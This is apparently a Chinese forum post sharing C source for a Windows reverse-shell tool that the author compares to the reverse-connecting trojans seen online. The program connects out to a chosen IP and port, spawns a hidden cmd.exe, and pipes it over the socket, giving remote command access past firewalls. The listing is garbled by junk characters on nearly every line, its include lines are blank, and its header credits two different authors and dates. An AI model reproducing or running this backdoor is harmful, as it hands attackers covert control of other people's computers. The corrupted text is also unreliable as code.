这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 +X!+'>
Jc~E"x
/* ============================== CT5Y/E?}
Rebound port in Windows NT B {i&~k
By wind,2006/7 x9`ZO<L$
===============================*/ mMxHR$2
#include O=O(3Pf>
#include W:ixzpQ
'=%i,
#pragma comment(lib,"wsock32.lib") qU6BA\ZL
VA]ZR+m
void OutputShell(); A. Nz_!
SOCKET sClient; w?ai,Pw
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ~&[u]u[
V/UB9)i+
void main(int argc,char **argv) ._BB+G
{ <jL#>L%%
WSADATA stWsaData; gLCz]D.'
int nRet; $T)d!$
SOCKADDR_IN stSaiClient,stSaiServer; A[Cg/
+Z
A1!:BC
if(argc != 3) EC dfLn *c
{ 59qnEIi
printf("Useage:\n\rRebound DestIP DestPort\n"); )n7)}xy#z
return; v =+k"gm6
} anitqy#E
S^g]:Xh&
WSAStartup(MAKEWORD(2,2),&stWsaData); fbL!=]A*3
5fxbA2\
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); H5^Y->
@5*xw1B
stSaiClient.sin_family = AF_INET; s{% fi*
stSaiClient.sin_port = htons(0); &x/k^p=
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); @S}|Ccfc_
#y`k$20"
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 3V!x?H$
{ K#U{<pUP
printf("Bind Socket Failed!\n"); h=wf>^l
return; v7$9QVze
} <lX:eR1
W)
stSaiServer.sin_family = AF_INET; D99N#36PU
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); R mgxf/
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); x_pMG!2
<W9) Bq4
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 6 cr^<]v !
{ Uc>LFX&
-B
printf("Connect Error!"); o[H\{a>
return; |<2JQ[]
} iqlVlm>E
OutputShell(); IM|Se4;x
} @%keTTZ
t;~-_{
void OutputShell() FrgV@4'2G
{ kt5YgW
char szBuff[1024]; $/y%[ .
SECURITY_ATTRIBUTES stSecurityAttributes; v,@E}F~-f1
OSVERSIONINFO stOsversionInfo; 3# :EK
M~!
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; f#2#g%x
STARTUPINFO stStartupInfo; )uuwwz
char *szShell; k@lXXII ?
PROCESS_INFORMATION stProcessInformation; @<%oIE~]F
unsigned long lBytesRead; DD)mN)
&T
Xd5!
Ti}
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); &?fvt
c[6 zX#{`
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); lP-kZA!
stSecurityAttributes.lpSecurityDescriptor = 0; orK +B4
stSecurityAttributes.bInheritHandle = TRUE; S So~.)J
xBt4~q;#sE
xg4T` ])
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); }$&);7(w
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); [cY?!Qd0
)OS>9
kFH
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); .Lp Nm'=R
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; </2,2AV4q*
stStartupInfo.wShowWindow = SW_HIDE; V&$ J;
stStartupInfo.hStdInput = hReadPipe; j `w;z: G
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; yg.\^C
"o~N42DLB%
GetVersionEx(&stOsversionInfo); 8dYk3sk
20S9/9ll
switch(stOsversionInfo.dwPlatformId) ;N9n'Sq4
{ ye56-T
case 1: Kn3YI9
szShell = "command.com"; $&c<T4 $d
break; R'jUS7]Y
default: 3/yt*cr
szShell = "cmd.exe"; -DbH6u3
break; Q;d+]xj
} B=r]_&u-u
j
P{:A9T\
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); pXGK:ceFu
cS. 7\0$
send(sClient,szMsg,77,0); 7/[TE
while(1) V7Vbl?*n
{ 9;r48)5
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 3W%f#d$`
if(lBytesRead) MxFt;GgE8
{ 1D3dYVE
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 1oXz[V
send(sClient,szBuff,lBytesRead,0); FCUVP,"T
} JMl, N
else nph7&[xQI
{ #VP-T; Ahe
lBytesRead=recv(sClient,szBuff,1024,0); 8ItCfbqa6
if(lBytesRead<=0) break; ?[a7l:3-[
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); |>jqH @\P
} RPofa+
} 4O5n6~24
\#IJ=+z
return; d&$.jk8 2
}